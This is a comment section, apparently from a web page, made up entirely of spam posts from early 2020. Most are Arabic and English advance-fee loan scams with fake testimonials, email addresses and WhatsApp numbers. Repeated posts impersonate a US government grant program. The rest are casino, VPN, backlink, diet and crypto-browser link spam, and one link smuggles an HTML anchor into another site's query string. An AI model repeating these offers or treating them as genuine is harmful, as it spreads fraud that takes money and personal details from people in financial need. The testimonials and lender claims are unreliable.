السلام عليكم تمويل الله سوف نوفر للجميع المساعدة المالية اللازمة والفرصة لتحقيق أهدافهم. حتى إذا لم يتم تحويل راتبك الشهري إلى حساب لدى البنك ، يمكنك التقدم بطلب للحصول على قرض والحصول على قرض شخصي مع كل من المسلمين وغير المسلمين. اتصل بنا اليوم للحصول على عرض أسعار مجاني. شكرا لكم! البريد الإلكتروني: lendercities.mlc01@outlook.com موبايل / whattsApp +91582259838 --- +15123729576)

mr scott

Thursday, March 19, 2020

مرحبا هل تحتاج إلى قرض مريح لإرضائك؟ نحن نقدم قرضًا بسعر فائدة معقول بنسبة 3٪ للمقترضين المحليين والدوليين. نحن معتمدون وموثوقون وموثوقون وفعالون وسريعون وديناميكيون ونعمل معًا. نقدم قرضًا طويل الأجل من 2 إلى 20 عامًا على الأكثر. هل تحتاج إلى قرض فوري وسهل وبأسعار معقولة لدفع الدين ، أو بدء عمل تجاري ، أو لأي سبب آخر؟ إذا كان الأمر كذلك ، يرجى الاتصال بنا لطلب القرض الخاص بك. الاتصال بنا اذا كنت مهتما. مراسلتنا عبر البريد الإلكتروني على: accessloanfirm2030@gmail.com WhatsApp: +79265038734 نحن معتمدون ، موثوقة وموثوقة وفعالة وسريعة وديناميكية. مع تحياتي السيد سكوت البريد الإلكتروني: accessloanfirm2030@gmail.com

Amy

Wednesday, March 18, 2020

vpn unlimited http://onlinevpnapp.com vpn unlimited vpn download

Amy

Wednesday, March 18, 2020

vpn unlimited http://onlinevpnapp.com vpn unlimited vpn download

Elton

Wednesday, March 18, 2020

vpn service http://privatevpnformac.com vpn service Vpn Service

Concetta

Wednesday, March 18, 2020

onlinevpnapp.com http://yesfreevpn.com onlinevpnapp.com freevpn

Edwin Macdowell

Tuesday, March 17, 2020

Are you looking to promote your website for absolutely no charge? Check this out: http://www.submityourfreeads.xyz

Shelley Lightfoot

Tuesday, March 17, 2020

Good morning My name is Sergey and I am a founder of Sweaty Quid Freelancer Market place just where you are able to buy and offer all types of online services varying from back links and guest post to explainer videos, infographics and articles for your online site. I believe that you and budget.gov.eg could really benefit from Sweaty Quid, no matter if you want to provide your services or hire freelancers to assist you to grow your business. I have been a freelancer on a number of market places for over 5 years and have had my accounts randomly shut down, my incomes misappropriated and I simply had a hard time with many low quality freelancers. After much frustration, I made a decision to start my very own freelance marketplace that would do things differently and better. After almost one year of caffeinne powered evenings, myself and my team at Creative Bear Tech have developed Sweaty Quid from ground up. One month into our release we have managed to attract a good variety of outstanding quality freelancers and an incredibly high number of repeat buyers. I strongly believe this serves as a testament to our excellence. Sweaty Quid is a spam-free and straightforward market place for quality freelancers and buyers. We are rigorously banning all spammy sellers who do not pass our quality threshold and leave only the very best ones. Keeping abreast of the latest technologcal changes, we also take cryptocurrency as one of our payment methods. Our ethos that defines us is that sometimes less is more, particularly when it comes to quality freelancers. We are still very new in comparison to other freelance market places, but we are already punching above our weight. I would love to welcome you personally to register with Sweaty Quid Freelancer Marketplace! Kind regards Sergey Greenfields Founder of Sweaty Quid Freelancer Marketplace Flat 9, 1 Jardine Rd, St Katharine's & Wapping, London E1W 3WD, United Kingdom https://www.sweatyquid.com

live casino roulette Uk

Monday, March 16, 2020

Of course, you can always play it safe by playing a house game of freee roulette. The fast-paced action gives players an adrenaline dash. Some casinoos also require player's cards a person to play in matches. https://www.jinbei5.com/home.php?mod=space&uid=2545&do=profile&from=space

TORRIE WILS

Monday, March 16, 2020

أخبار الحياة المتغيرة !!!! هذا تحول في الحياة! اسمي السيدة Busarakham ، أنا من تايلاند. نظرًا لتحليل مالي محدد ، فإن العقد الذي كنت أتعامل معه الشهر الماضي لم يتم كما هو مخطط له. لذلك قررت الحصول على قرض ، ولكن لم تتم الموافقة عليه أبدًا بسبب درجة الائتمان السيئة. قبل بضعة أيام ، أتت سيدة من مؤسستي وأخبرتني عن شركة DIVINE MOON CO-OPERATIVE LOAN COMPANY على الإنترنت بمعدل فائدة منخفض 2٪ وجدول دفع أفضل. وأخبرتني أنها تعرضت للخداع عدة مرات حتى أحيلت إلى شركة ديون مون التعاونية للقروض. ثم اتصلت بهم على divinemooncooperativeloan@gmail.com وأعطوني القرض وأنا سعيد للغاية.

scr888 how to get angpao

Sunday, March 15, 2020

But the Meta Description tag still holds good. They have my name and my links imbedded.nothing has been changed. Go and submit your articles to sites that will manage to benefit you one of the most. https://youngstownangels.com/munich-airport-car-rental-3-good-why-you-should-get-it/

Dennishox

Sunday, March 15, 2020

http://bit.ly/39RLXW2 It’s already a month as I’ve been using new browser. CryptoTab browser, to be exact. Do you want me to ask why? I’ll tell you. It doesn’t just browse well, but allows you to earn Bitcoin with ease! Learn more, follow the link - http://bit.ly/38Wex7z

sky ute casino jobs

Saturday, March 14, 2020

Wonderful website. Lots of useful information here. I am sending it to a few pals ans additionally sharing in delicious. And of course, thanks to your sweat! https://btcoinz.com/forum/profile.php?id=1304409

더존카지노

Friday, March 13, 2020

I'm not sure why but this weblog is loading extremely slow for me. Is anyone else having this issue or is it a problem on my end? I'll check back later and see if the problem still exists. http://wooricasino114.com

Robertlew

Friday, March 13, 2020

http://bit.ly/30jI5Z6 - I want to get to know http://bit.ly/2PW5ZH3 - I am looking for a friend http://bit.ly/2vBTcCL - weight loss and diet http://bit.ly/2KlgMqG - Free video chat http://bit.ly/3aGPqXD - Wheel of fortune http://bit.ly/2VTRas9 - dating http://bit.ly/3cJdafe - super prize draw http://bit.ly/3cAQVIB - want to meet

Claudia Klein

Friday, March 13, 2020

أهلاً ومرحبًا بكم في Spotcap Global Loan Services ، اسمي كلوديا كلاين ، أنا مقرض وأيضًا مستشار قروض. هل أنت في حاجة ماسة إلى التعزيز المالي؟ هل تحتاج إلى قرض لأغراض مختلفة؟ إذا كانت إجابتك نعم ، أنصحك بالاتصال بشركتي عبر | spotcapglobalservices@gmail.com | أو راسلنا على الواتس اب: 4915758108767+ | والحصول على قرض في حسابك في غضون 24 ساعة لأننا نقدم خدمات قروض ممتازة في جميع أنحاء العالم. نحن نقدم جميع أنواع خدمات القروض (القرض الشخصي ، قرض الأعمال وغيرها الكثير) ، نقدم قروض طويلة الأجل وقصيرة الأجل ، ويمكنك أيضًا اقتراض ما يصل إلى 15 مليون يورو. سوف تساعدك شركتي في تحقيق مجموعة متنوعة من الأهداف مع مجموعة واسعة من منتجات القروض. نحن نعلم أن الحصول على قرض شرعي كان دائمًا مشكلة كبيرة بالنسبة للأفراد الذين يعانون من مشكلة مالية ويحتاجون إلى حل لها ، يجد الكثير من الناس صعوبة في الحصول على قرض الأسهم من بنوكهم المحلية أو المؤسسات المالية الأخرى بسبب ارتفاع الفائدة معدل ، ضمانات غير كافية ، نسبة الدين إلى الدخل ، درجة ائتمان منخفضة أو أي أسباب أخرى لا مزيد من أوقات الانتظار أو الزيارات المصرفية المجهدة. خدمتنا متاحة على مدار الساعة طوال أيام الأسبوع - يمكنك الحصول على قرض وإتمام المعاملات الخاصة بك متى وأينما احتجت إليها نحن نقدم خدمات قروض عالمية على مدار 24 ساعة. للاستفسارات / الأسئلة؟ - إرسال بريد إلكتروني إلى | spotcapglobalservices@gmail.com | أو راسلنا على الواتس اب: 004915758108767 | & تلقي استجابة في لحظة. لا تحتاج عائلتك وأصدقائك وزملاؤك إلى معرفة أنك تعاني من نقص في النقد ، فقط اكتب إلينا ببساطة وستتلقى قرضًا. حريتك المالية بين يديك!

nathlean

Friday, March 13, 2020

يوم جيد للجميع اسمي Nathanael martyna patryx أنا من الكويت. أريد أن أستغل هذا الوقت لأكتب على الإنترنت أن أي شخص إذا كنت بحاجة إلى قرض حقيقي Linda Robert Loan Firm هي الشركة المناسبة للتقدم بطلب من بضعة أيام كنت بحاجة إلى المال وبحثت عن قرض عبر الإنترنت رأيت شركة و تقدمت بطلب لتلك الشركة خدعتني مرتين من أموالي وكنت حزينًا جدًا لأنني كنت بحاجة إلى المال ، لذلك قررت البحث عن شركة أخرى وتقدمت بطلب من شركة أخرى أخبرتني نفس الشركة أيضًا بإيداع المال ولم أحصل على قرضي مطلقًا كنت مثل ما يحدث لي لأنني بحاجة إلى المال بشكل عاجل لشراء منزل إذا لم أحصل على منزل قريبًا سيقودني المالك وعائلتي بعيدًا عن منزله لذا احتجت إلى الحصول على منزلي الخاص. عندما كنت أبحث مرة أخرى رأيت هذه الشركة ليندا روبرت رأيت الكثير من الناس يشهدون حول هذه الشركة أن الشركة رائعة حقًا ، لذا في البداية كنت أخشى التقدم بطلب لأنني تعرضت للغش مرتين ، فقلت لنفسي دعني أجرب ومعرفة ما إذا كانت هذه الشركة حقيقية لذلك تقدمت بطلب. عندما تقدمت بطلب أخبروني أن كل ما علي فعله ما زلت خائفة ولكني وثقت بهم وأكدوا لي أنه في غضون ثماني ساعات سأكون مع قرضي الذي أريده للحصول على قرضي وعيني تلقيت تنبيهًا من حسابي المصرفي أنه كان هناك مبلغ 50،000.00 دينار كويتي في حسابي المصرفي وكنت سعيدًا جدًا منذ فترة اتصلت بي الشركة وسألتني ما إذا كنت قد استلمت قرضي وأخبرتهم نعم ، لذا أشكرهم وأثناء كتابتي هذه الرسالة على الإنترنت الآن ساعدت هذه الشركة أيضًا إخوتي الأربعة لذا أي شخص إذا كنت بحاجة إلى قرض حقيقي باتريشيا كينغسمان هي الشركة المناسبة للتقدم من. في حال كنت بحاجة إلى المال ، يمكنك الاتصال بهم فقط عبر البريد أو الواتساب وعنوان بريدهم (mrslindarobertloanfirm@gmail.com). واتساب: +1 334203 7399 أشكر كل من قرأ رسالتي وكون بأمان وتقدم من هذه الشركة لأنك ستكون سعيدًا معهم.

Vivian Styles

Thursday, March 12, 2020

NO COST advertising, submit your site now and start getting new visitors. Visit: http://www.submityourfreeads.xyz

Christine Beor

Thursday, March 12, 2020

ATTN : PURCHASING DEPARTMENT. Dear Prospective Customer, Greetings of the day to you. WWW.ALLBRANDBEARINGS.COM is the one-stop solution for all your bearings requirements. With our impartial approach to supply solutions, simply trust us by email your inquiries to info.allbrandbearings@gmail.com. We have bearings from all continents and all the countries of your choice : WHOLESALE & RETAIL. We Supply Bearings for longer life span and bearings for temporary solutions suitable for customers’ preferences. Ball Bearings, Linear Bearing Blocks, Thrust Bearings, Needle Roller Bearings, Tapered Roller Bearings, Bridge Bearings, Marine Bearings, Railway Bearings, Agricultural Bearings, Automotive Bearings and you name it, we shall deliver it to you. APART FROM BEARINGS, WE PROVIDE THE FOLLOWING BEARINGS ACCESSORIES AND SUPPLIES : bearings grease, bearing testers, bearing heaters, bearing pullers/extractors, steel balls/ tungsten carbide balls/ plastic balls/ ceramic balls/ miniature balls/ carbon steel balls/ chromiumsteel balls/ heat resistant steel balls/ brass balls/ nylon balls/ bearing lock nuts/ bearing lock washers/ loose needle rollers/ pinion pins/ clutch rollers/ cv joints/ planetary needles/ universal joint bearings/ solenoid pins/ water pump rollers/ crown needles/ dowel pins/ locating pins/ straight pins/ alignment pins/ retaining rings(circlips)/ wave springs/ steel shims/ stainless steel shims etc. CONTACT US : WWW.ALLBRANDBEARINGS.COM MECHANICAL POWER TRANSMISSIONS GROUP. P.O. BOX : 16993. JEDDAH 21474. KINGDOM OF SAUDI ARABIA. Email : info.allbrandbearings@gmail.com Mobile Ph : +96656 315 9343

scr888 v4.0

Wednesday, March 11, 2020

I can't believe that Gene hasn't tried to publicize his hair as a 918kiss casino KISS Wig". Life offers you with both regarding tears andd both will be required. Gene iss stil spitting fire and blood on phase. http://Www.D1598.com/home.php?mod=space&uid=699725&do=profile&from=space

تقدم بطلب القرض الآن؟

Monday, March 9, 2020

نحن متخصصون في الخدمات المالية ، وتقديم القروض المحلية / الدولية ، وتوفير خيارات الاقتراض المضمونة وغير المضمونة للأفراد والهيئات المتعاونة بأسعار فائدة تنافسية للغاية وشروط مرنة لتلبية أي ظروف مالية. لا يهم إذا كان لديك درجة ائتمان سيئة ، لا يزال بإمكاننا تزويدك بأموال سريعة مقابل ما هو غير متوقع. اتصل بنا الآن للحصول على قروض سريعة وبأسعار معقولة لتناسب جميع الميزانيات والمتطلبات: socialfundltd@gmail.com

Endre

Monday, March 9, 2020

نحن نقدم القروض الخاصة ، يمكننا مساعدتك في الحصول على قروض حقيقية لتلبية احتياجاتك. هل تحتاج إلى ائتمان شخصي أو تجاري دون ضغوط وموافقة سريعة؟ هل تحتاج إلى قرض طارئ اليوم؟ اتصل بنا اليوم عن طريق البريد الإلكتروني: (dakany.endre@gmail.com) لا التحقق من الائتمان عرض قرض عاجل.

Mr. Richard Cosmos

Monday, March 9, 2020

مرحبًا ، يرجى الاتصال بعنوان البريد الإلكتروني أعلاه للحصول على رصيد. هل تحتاج إلى قرض تجاري أو شخصي؟ نحن نوفر للأفراد والشركات قرضًا بقيمة 3000 - 600000 يورو بفائدة 2 ٪ سنويًا. الاتصال (richardcosmos5@gmail.com) لمزيد من المعلومات تقديم قرض

Jill Weiser

Saturday, March 7, 2020

1 Cup of this tomorrow morning will burn 3lbs of belly fat If you still haven't tried this, you'll want to to add this to your morning routine Consuming just a single cup of this delicious hot drink in the A.M. sets up your metabolism to burn more fat than 55 exhausting minutes on the treadmill. In fact, some folks are losing up to 25 Lbs of fat in just 21 days by drinking it every morning. Not to mention, it’s super simple to make right in your own kitchen. Check it out now! --> http://www.bellyfatfixer.xyz

mr scott

Saturday, March 7, 2020

مرحبا هل تحتاج إلى قرض طارئ لحل احتياجاتك المالية؟ نحن نقدم قروضًا تتراوح ما بين 2.000 دولار إلى 50.000.000.00 دولار ، ونحن موثوقون وقويون وسريعون وديناميكيون ، بدون رقابة ائتمانية ونقدم ضمانًا بنسبة 100 ٪ للقروض الأجنبية خلال هذا التحويل. البريد الإلكتروني: accessloanfirm2030@gmail.com الخدمات تشمل: * قروض شخصية القروض التجارية * تجديد * قروض العملاء * قروض السيارات الخ .. لدينا أيضًا قرض بالعملة بالكامل بمعدل فائدة 2٪ على جميع القروض .... إذا كنت مهتمًا بالعودة عبر هذا البريد الإلكتروني: accessloanfirm2030@gmail.com يرجى الاتصال بنا إذا كنت مهتما عبر البريد الإلكتروني: accessloanfirm2030@gmail.com WhatsApp: +79265038734 مع تحياتي، السيد سكوت مراسلتنا عبر البريد الإلكتروني على العنوان: accessloanfirm2030@gmail.com

Nicolas

Friday, March 6, 2020

onlinevpnapp.com http://vpnservicesite.com onlinevpnapp.com download vpn free (vpnservicesite.com)

happy day

Friday, March 6, 2020

مرحباً بالجميع ، هنا يأتي قرض ميسور التكلفة سيغير حياتك إلى الأبد ، وشهادة على كيف حصلت على قرض لتغيير حياتي العائلية المميتة. اسمي السيدة كلانسي دكستر. هل أعيش في فلوريدا بالولايات المتحدة الأمريكية وأنا امرأة سعيدة اليوم؟ اعتقدت لنفسي أن أي مقرض يمكن أن يغير حياة بروك وعائلتي ، وأود أن أرسل أي شخص يبحث عن قرض لهم. أعطوني وعائلتي السعادة. استغرق الأمر مني قرضًا بقيمة 250،000 دولار لبدء حياتي مرة أخرى كأرملة مع ثلاثة أطفال. ذهبت إلى هذه الشركة ، التي اقترضت قرض إنترنت صادقًا يتقوا الله ، مما ساعدني في الحصول على قرض بقيمة 250 ألف دولار. . الدولار ، هم في الواقع الله خوف الناس الذين يعملون مع شركة الإقراض ذات السمعة الطيبة. إذا كنت بحاجة إلى قرض وكنت متأكدًا تمامًا من سداده ، فاتصل بهم وأخبرهم أن السيدة كلانسي قدمتهم لك. البريد الإلكتروني الاتصال: happyday99loanfirm@gmail.com

d scr888 fun

Thursday, March 5, 2020

Hi there to all, how is all, I think every one is getting more from this web site, and your views are nice in support of new viewers. https://londonchinese-ca.byy.ca/home.php?mod=space&uid=972839&do=profile

Clifton

Wednesday, March 4, 2020

free online vpn http://getvpnfree.com free online vpn vpn download free

mega casino minimum deposit

Wednesday, March 4, 2020

You could definitely see your expertise in the work you write. The sector hopes for even more passionate writers like you who are not afraid to say how they believe. All the time go after your heart. http://court.uv.gov.mn/user/OGJWeldon053495/

mable smith

Tuesday, March 3, 2020

Do you need a loan of any type and of any amount to grow up your business,or your live in a better place do you need any of the following loans * Student Loans. * Car loans. * Housing Loans. * Mortgages Loans. * Auto Loans. * Personal Loans. * Loans for Veterans. * Small Business Loans. * Business Loans. * Payday Loans. * Borrowing from Retirement & Life Insurance. All these loans are given out as low as 2% interest rate.... If you are interested contact us via: mablesmithloanfirm002@gmail.com Regards and awaiting your urgent response. God Bless You. Regards, Mable Smith.......

mable smith

Tuesday, March 3, 2020

Do you need a loan of any type and of any amount to grow up your business,or your live in a better place do you need any of the following loans * Student Loans. * Car loans. * Housing Loans. * Mortgages Loans. * Auto Loans. * Personal Loans. * Loans for Veterans. * Small Business Loans. * Business Loans. * Payday Loans. * Borrowing from Retirement & Life Insurance. All these loans are given out as low as 2% interest rate.... If you are interested contact us via: mablesmithloanfirm002@gmail.com Regards and awaiting your urgent response. God Bless You. Regards, Mable Smith.......

Marietta

Tuesday, March 3, 2020

free online vpn http://vpnservicesoft.com free online vpn download free vpn

Audrey

Tuesday, March 3, 2020

free vpn http://getvpnfree.com free vpn download vpn free

Lucio

Monday, March 2, 2020

online free vpn http://getvpnfree.com online free vpn vpn apk

Phillipp

Monday, March 2, 2020

vpn for pc http://getvpnfree.com vpn for pc best free vpn for windows

Cassie

Monday, March 2, 2020

onlinevpnapp.com http://freevpngold.com onlinevpnapp.com best free vpn for windows

Preston

Monday, March 2, 2020

vpn unlimited http://vpnservicesoft.com vpn unlimited vpn free download for pc

Tyree

Sunday, March 1, 2020

onlinevpnapp.com http://vpnservicesite.com onlinevpnapp.com free vpn service

MARY MASON

Saturday, February 29, 2020

Sky Wealth Loan Firm ، نعطيه القروض بمعدل فائدة 0f 3 ٪. يوم جيد يا سيدي / ما أنا. نحن شركة خاصة ونقدم قروضًا بأسعار فائدة منخفضة عند تحديد مبلغ القرض يتراوح بين 100 مليون أحكام قرض بقيمة 1000 يورو لتطوير الأعمال: القدرة التنافسية لتوسيع الحافة / الأعمال. (رقم واتساب: +79652625435) نحن نقدم مجموعة متنوعة من القروض * القروض الشخصية (المضمونة وغير المضمونة) * قروض الأعمال (مضمونة وغير مضمونة) * قرض توحيد لا رسوم مقدما نشكرك على قضاء بعض الوقت في قراءة هذا الإعلان.لمزيد من المعلومات والاستفسارات ، أرسل بريدًا إلكترونيًا إلينا اليوم skywealthloanfirm@gmail.com skywealthloanfirm@gmail.com skywealthloanfirm@gmail.com السيدة ماري ميسون.

Brian WRIGHT

Saturday, February 29, 2020

Dear Sirs We would like to inform you that we added scarce 1955 Mercedes-Benz 190SL Convertible, 1961 Mercedes-Benz 220 Convertible and 1967 Cobra DAX to our stock. All these cars are in showroom condition. You can check more details and images for these cars at https://wexxluxurycars.com/16-classic-cars. We can offer you high sales commissions (up to $20000 per car). You will need to find buyers for our luxury & classic European vehicles. We sell luxury & vintage Rolls-Royce, Ferrari, McLaren, BMW, Mercedes-Benz, Porsche, and Jaguar cars. We are still adding luxury & classic European vehicles to our inventory. Please check the entire stock of our luxury European cars at https://wexxluxurycars.com as well as the complete information regarding our offer about high sale commissions for providing buyers for our luxury and classic European cars at https://wexxluxurycars.com/content/2-make-money-with-us. Buyers will need to pick up vehicles of their choice in our showroom. We donÕt require any upfront payments. We will be pleased to hear from you. Have a great day. Best regards Brian WRIGHT, WEXX Luxury Cars, Denver, CO. https://wexxluxurycars.com. IMPORTANT NOTICE: This message has been posted via a Contact Us form on your site. Contact forms are publicly accessible. We don't use, hold, or archive your e-mail addresses.

Endre

Friday, February 28, 2020

هل تحتاج إلى قرض عاجل؟ مثل القرض الشخصي ، قرض الشركة ، قرض العمل ، قرض عمق الدفع ، قرض تعليمي ، أي نوع من القروض التي تبحث عنها اتصل بنا الآن على البريد الإلكتروني: (dakany.endre@gmail.com) عرض قرض عاجل.

Endre

Friday, February 28, 2020

هل تحتاج إلى قرض عاجل؟ مثل القرض الشخصي ، قرض الشركة ، قرض العمل ، قرض عمق الدفع ، قرض تعليمي ، أي نوع من القروض التي تبحث عنها اتصل بنا الآن على البريد الإلكتروني: (dakany.endre@gmail.com) عرض قرض عاجل.

Maricela

Friday, February 28, 2020

vpn for pc http://2rtk.pfarrfrauen-bs.de/modern+warfare+2+night+vision+goggles+manual.html vpn for pc vpn free online

farhanaziz

Friday, February 28, 2020

هل تحتاج إلى قرض شخصي / تجاري بنسبة 3٪؟ إذا كانت الإجابة بنعم ، فاتصل بنا لمزيد من المعلومات البريد الإلكتروني: farhanaziz.financehome@aol.com ملء وعودة. الاسم: === المبلغ المطلوب: === المدة: == البلد: == الغرض: === رقم الهاتف المحمول: == اتصل بنا +917292092014 / +447404615401 (Call / Whats app) عبر البريد الإلكتروني: farhanaziz.financehome@aol.com: موقع الويب الخاص بي هو: http://farhanazizfinance.bravesites.com/ قرض سريع الموافقة لاحتياجاتك الملحة!

Layla Finnerty

Friday, February 28, 2020

Dear Friend! How are you? I write to introduce our best vape backlink service. We have big team of professionals from Pakistan, India and Bangladesh who work cheap and do good job with backlinks. You just look at my profile and place order now! https://www.fiverr.com/thanrja/shoutout-your-brand-on-2-vape-instagram-accounts

slot mobile phone store

Friday, February 28, 2020

It defends a persons vision off what sort of worked in ordeer to find create original content. Normally you will earn more as you will get experience and apply using know. Keep aan eye on your comments from customers. http://cib-tehran.ir/Default.aspx?tabid=43&UserID=87824

where is m.2 slot

Friday, February 28, 2020

My brother suggested I might like this web site. He was entirely right. This post truly made my day. You can not imagine just how much time I had spent for this info! Thanks! https://www.rnkws.net/www.evertkok.nl

Government Grant

Thursday, February 27, 2020

أنا محمد سلمان الخويد! كل الشكر لمنحة الحكومة ؛ الذين يدعمونني للقفز الطويل ، ويقرضونني أيضًا قروضًا للشركات الصغيرة ، والتي اعتدت على سداد ديونها وبدء عمل تجاري جديد هنا في المملكة العربية السعودية. إذا كنت مهتمًا بإرسال بريد إلكتروني إلى usa_gov@outlook.com أو زيارة موقعه على الويب: https://usagov5.wixsite.com/loangrant ، يمكنك أيضًا الانتقال إلى صفحتهم على: https://web.facebook.com/govermentloangrant ؟ _rdc = 1 & _rdr للحصول على مساعدة من الحكومة.

Government Grant

Thursday, February 27, 2020

أنا محمد سلمان الخويد! كل الشكر لمنحة الحكومة ؛ الذين يدعمونني للقفز الطويل ، ويقرضونني أيضًا قروضًا للشركات الصغيرة ، والتي اعتدت على سداد ديونها وبدء عمل تجاري جديد هنا في المملكة العربية السعودية. إذا كنت مهتمًا بإرسال بريد إلكتروني إلى usa_gov@outlook.com أو زيارة موقعه على الويب: https://usagov5.wixsite.com/loangrant ، يمكنك أيضًا الانتقال إلى صفحتهم على: https://web.facebook.com/govermentloangrant ؟ _rdc = 1 & _rdr للحصول على مساعدة من الحكومة.

Government Grant

Thursday, February 27, 2020

أنا محمد سلمان الخويد! كل الشكر لمنحة الحكومة ؛ الذين يدعمونني للقفز الطويل ، ويقرضونني أيضًا قروضًا للشركات الصغيرة ، والتي اعتدت على سداد ديونها وبدء عمل تجاري جديد هنا في المملكة العربية السعودية. إذا كنت مهتمًا بإرسال بريد إلكتروني إلى usa_gov@outlook.com أو زيارة موقعه على الويب: https://usagov5.wixsite.com/loangrant ، يمكنك أيضًا الانتقال إلى صفحتهم على: https://web.facebook.com/govermentloangrant ؟ _rdc = 1 & _rdr للحصول على مساعدة من الحكومة.

Government Grant

Thursday, February 27, 2020

أنا محمد سلمان الخويد! كل الشكر لمنحة الحكومة ؛ الذين يدعمونني للقفز الطويل ، ويقرضونني أيضًا قروضًا للشركات الصغيرة ، والتي اعتدت على سداد ديونها وبدء عمل تجاري جديد هنا في المملكة العربية السعودية. إذا كنت مهتمًا بإرسال بريد إلكتروني إلى usa_gov@outlook.com أو زيارة موقعه على الويب: https://usagov5.wixsite.com/loangrant ، يمكنك أيضًا الانتقال إلى صفحتهم على: https://web.facebook.com/govermentloangrant ؟ _rdc = 1 & _rdr للحصول على مساعدة من الحكومة.

Government Grant

Thursday, February 27, 2020

أنا محمد سلمان الخويد! كل الشكر لمنحة الحكومة ؛ الذين يدعمونني للقفز الطويل ، ويقرضونني أيضًا قروضًا للشركات الصغيرة ، والتي اعتدت على سداد ديونها وبدء عمل تجاري جديد هنا في المملكة العربية السعودية. إذا كنت مهتمًا بإرسال بريد إلكتروني إلى usa_gov@outlook.com أو زيارة موقعه على الويب: https://usagov5.wixsite.com/loangrant ، يمكنك أيضًا الانتقال إلى صفحتهم على: https://web.facebook.com/govermentloangrant ؟ _rdc = 1 & _rdr للحصول على مساعدة من الحكومة.

Government Grant

Thursday, February 27, 2020

أنا محمد سلمان الخويد! كل الشكر لمنحة الحكومة ؛ الذين يدعمونني للقفز الطويل ، ويقرضونني أيضًا قروضًا للشركات الصغيرة ، والتي اعتدت على سداد ديونها وبدء عمل تجاري جديد هنا في المملكة العربية السعودية. إذا كنت مهتمًا بإرسال بريد إلكتروني إلى usa_gov@outlook.com أو زيارة موقعه على الويب: https://usagov5.wixsite.com/loangrant ، يمكنك أيضًا الانتقال إلى صفحتهم على: https://web.facebook.com/govermentloangrant ؟ _rdc = 1 & _rdr للحصول على مساعدة من الحكومة.

Government Grant

Thursday, February 27, 2020

أنا محمد سلمان الخويد! كل الشكر لمنحة الحكومة ؛ الذين يدعمونني للقفز الطويل ، ويقرضونني أيضًا قروضًا للشركات الصغيرة ، والتي اعتدت على سداد ديونها وبدء عمل تجاري جديد هنا في المملكة العربية السعودية. إذا كنت مهتمًا بإرسال بريد إلكتروني إلى usa_gov@outlook.com أو زيارة موقعه على الويب: https://usagov5.wixsite.com/loangrant ، يمكنك أيضًا الانتقال إلى صفحتهم على: https://web.facebook.com/govermentloangrant ؟ _rdc = 1 & _rdr للحصول على مساعدة من الحكومة.

free usa casino slot Games

Thursday, February 27, 2020

Hello There. I discovered your blog using msn. That is an extremely well written article. I will make sure to bookmark it and come back to learn extra of your helpful info. Thank you for the post. I will definitely return. https://shipdonkey.com/forums/users/arielstodart00/

Dora Blackmore

Thursday, February 27, 2020

CannaBliss Finds Its Roots In Common Problems: Chronic Back Pain And Trouble Sleeping. When Founder Josh Smith, Found Himself Suffering From Both Issues, He Made The Choice To Research Natural Solutions. During His Search He Learned About The Benefits Of Full Spectrum Hemp Extract. Unfortunately, He Also Learned An Unpleasant Truth About The Full Spectrum Hemp Extract Industry: Its Products Rarely Work. Full Spectrum Hemp Extract Isn’t The Problem. The Problem Is An Industry That Is Largely Unregulated And Full Of Poorly Produced Products. After Trying Seven Of The Biggest Full Spectrum Hemp Extract Brands On The Market And Only Finding Relief From One, Josh Realized That There Was A Need. After Learning All This, Josh Decided To Do Something About It. And CannaBliss Was Born. His Mission? To Help People, By Creating The Most Pure, Organic And Bioavailable Full Spectrum Cannabinoid Products On The Market, All At A Price People Can Afford. This Mission Remains Josh's Promise To You. https://lovetocbd.com/profile/whitewidow252

Winona

Wednesday, February 26, 2020

vpn for mac http://freevpngold.com vpn for mac Free

Valerie McDonald

Monday, February 24, 2020

Get tons of fresh and high PR do-follow links ready to backlink to your site perfect for ranking your site in any niche! Fresh, exclusive links - not spammed and useless http://www.getmorelinks.xyz

mega casino virus

Sunday, February 23, 2020

Online casino bonuses are a way buyers to play online casino games along wuth casinos money. These online casino bonuses range from $100 to $200 matching bonus. This iis a quick an overview how functions. Noticing the growing availability of the casino games one of several youths with the modern days, many web sites hazve bbeen launched for casino game lovers. Therefore, now, one can possibly mega casino mobile games from the coomforts of his home or throughout the lunch hour of his office. An ideal playing it from real estate or everywhere you lopok else isn't a big problem. All that you need to know is the tips and tricks for playing these games abput the web. Like the casino hll games, you must master some tricks and strategies forr playing and winning the online casino party games. Since the introduction of online casinos in the mid-nineties, people and popularity has rocketed and will continue to grow due to your large interneet population growing market. New casinos are appearing online almost every week. Though the reality that still remains that internet casinos specifically from U.S. don't declare funrs of yur winnings, annd of course workers, but law do noot know when you win or lose, nonetheless have the obligation to adhere to the law and declare it in your own because att thhe end, you will still upwards explaining towards the IRS where youir money comes from because they'll track tthe through their audit. In case when consult your to leave your favorite sofa, but want to entertain yoursslf in your favorite way, web sites task end up being look through the online casinos list so that you can choose one of the most suitable choice for you. Such listrs might finmd find ultimately Internet in search of Topp 10, top 50 lists of mosst visited, hottest-selling or other "most" of importance to you things. After you choose an online casino you like, in all likelihood you may have too register there. Be careful, look iff promoting Americans citizens to play. It wiol help for you to play and to feel safe instead of spending the rest off vacations solving the issues with gambling law. To determine the result of a game, your hand iis compared against the dealer's. Fit hand is for the best than the dealer, you win the game and experience ann even pay out. But if it's the opposite way around, you lose your bet immediately. When of a tie, your bet is returned you. Follow the online casino guide of tthe place properly enhance your chances of winning. Always remember, casino games are not all about luck. It will luck also ass knowledge. If you do not want to rsk a lump sum amount income for the works, it should be good for your health to bet on ssmall jackpot levels. The higher the bet more is danger involved. So, be just a little careful. Choose the games where you could get frequent payouts compared to the games where may refine get huge pay outs. http://s.jd.u.eh.Yds.g.524.87.59.68.4@janter.co.nz/weather/checkserver.php?a%5B%5D=%3Ca+href%3Dhttp%3A%2F%2Fwww.driftwoodavalon.com.au%2FUserProfile%2Ftabid%2F43%2FUserID%2F83867%2FDefault.aspx%3Emega+casino+free+bonus+code%3C%2Fa%3E

Support

Sunday, February 23, 2020

https://livetechsupport.org/

Denny Harrhy

Sunday, February 23, 2020

